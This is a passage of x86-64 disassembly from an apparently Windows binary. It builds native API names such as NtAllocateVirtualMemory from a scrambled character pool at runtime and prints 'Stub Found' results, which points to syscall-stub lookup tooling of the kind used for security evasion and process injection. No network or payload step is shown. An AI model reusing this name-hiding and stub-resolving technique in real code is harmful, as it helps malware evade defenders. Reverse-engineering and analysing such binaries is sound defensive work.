lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x3472fd3de]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x3472fd3e0]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x910]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xb1f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xb20]
mov rcx, qword [rbp + 0x2f40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xb20]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a54b54
lea rsi, [0x3472fd3b4]
jmp 0x345a54b5b
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0xd0f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0xd0f]
lea rax, [rbp + 0xce0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x3472fd3e2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x3472fd3d8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x3472fd3da]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0xb40]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0xb40]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xd0f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xd10]
mov rcx, qword [rbp + 0x2f38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xd10]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a54e8b
lea rsi, [0x3472fd3b4]
jmp 0x345a54e92
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0xfdf]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0xfdf]
lea rax, [rbp + 0xfb0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x3472fd3e6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x3472fd3e8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x3472fd3ec]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x3472fd3ee]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x3472fd3f0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x3472fd3f2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xd50]
lea rdx, [rbp + 0xd70]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0xd30]
lea rdx, [rbp + 0xd50]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0xd30]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0xd30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0xfdf]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0xfe0]
mov rcx, qword [rbp + 0x2f30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0xfe0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a552f6
lea rsi, [0x3472fd3b4]
jmp 0x345a552fd
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x132f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x132f]
lea rax, [rbp + 0x1300]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x3472fd3f4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x3472fd3f6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x3472fd3f8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x3472fd3d4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1020]
lea rdx, [rbp + 0x1040]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1000]
lea rdx, [rbp + 0x1020]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x1000]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x1000]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x132f]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1330]
mov rcx, qword [rbp + 0x2f28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1330]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a55811
lea rsi, [0x3472fd3b4]
jmp 0x345a55818
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x15bf]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x15bf]
lea rax, [rbp + 0x1590]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x3472fd3e2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x3472fd3dc]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x3472fd3a6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x3472fd3a8]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x3472fd3ac]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x3472fd3a2]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x3472fd3ae]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x3472fd3b0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1370]
lea rdx, [rbp + 0x1390]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1350]
lea rdx, [rbp + 0x1370]
lea r8, [0x3472fd3b2]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x1350]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x1350]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x15bf]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x15c0]
mov rcx, qword [rbp + 0x2f20]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x15c0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a55c24
lea rsi, [0x3472fd3b4]
jmp 0x345a55c2b
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x16cf]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x16cf]
lea rax, [rbp + 0x16a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x3472fd3d6]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x3472fd39c]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1600]
lea rdx, [rbp + 0x1620]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x15e0]
lea rdx, [rbp + 0x1600]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x15e0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x15e0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x16cf]
mov rcx, rax
call fcn.345abdd00
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.345af5640
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x16d0]
mov rcx, qword [rbp + 0x2f18]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.345a5142a
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x16d0]
mov rcx, rax
call fcn.345af6100
cmp dword [rbp + 0x2e8c], 0
je 0x345a55e27
lea rsi, [0x3472fd3b4]
jmp 0x345a55e2e
lea rsi, [0x3472fd3b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345a80990
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.345a513a0
lea rax, [rbp + 0x189f]
mov rcx, rax
call fcn.345abdcd0
lea rdx, [rbp + 0x189f]
lea rax, [rbp + 0x1870]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.345af5ab0
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x3472fd398]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x3472fd3ee]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x3472fd3fa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x3472fd3ea]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x3472fd3d4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x3472fd3aa]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x3472fd39e]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x3472fd3a0]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x3472fd3a4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x1710]
lea rdx, [rbp + 0x1730]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rax, [rbp + 0x16f0]
lea rdx, [rbp + 0x1710]
lea r8, [0x3472fd3e4]
mov rcx, rax
call fcn.345b05a30
lea rdx, [rbp + 0x16f0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.345af6140
lea rax, [rbp + 0x16f0]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.345af6100
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.345af6100
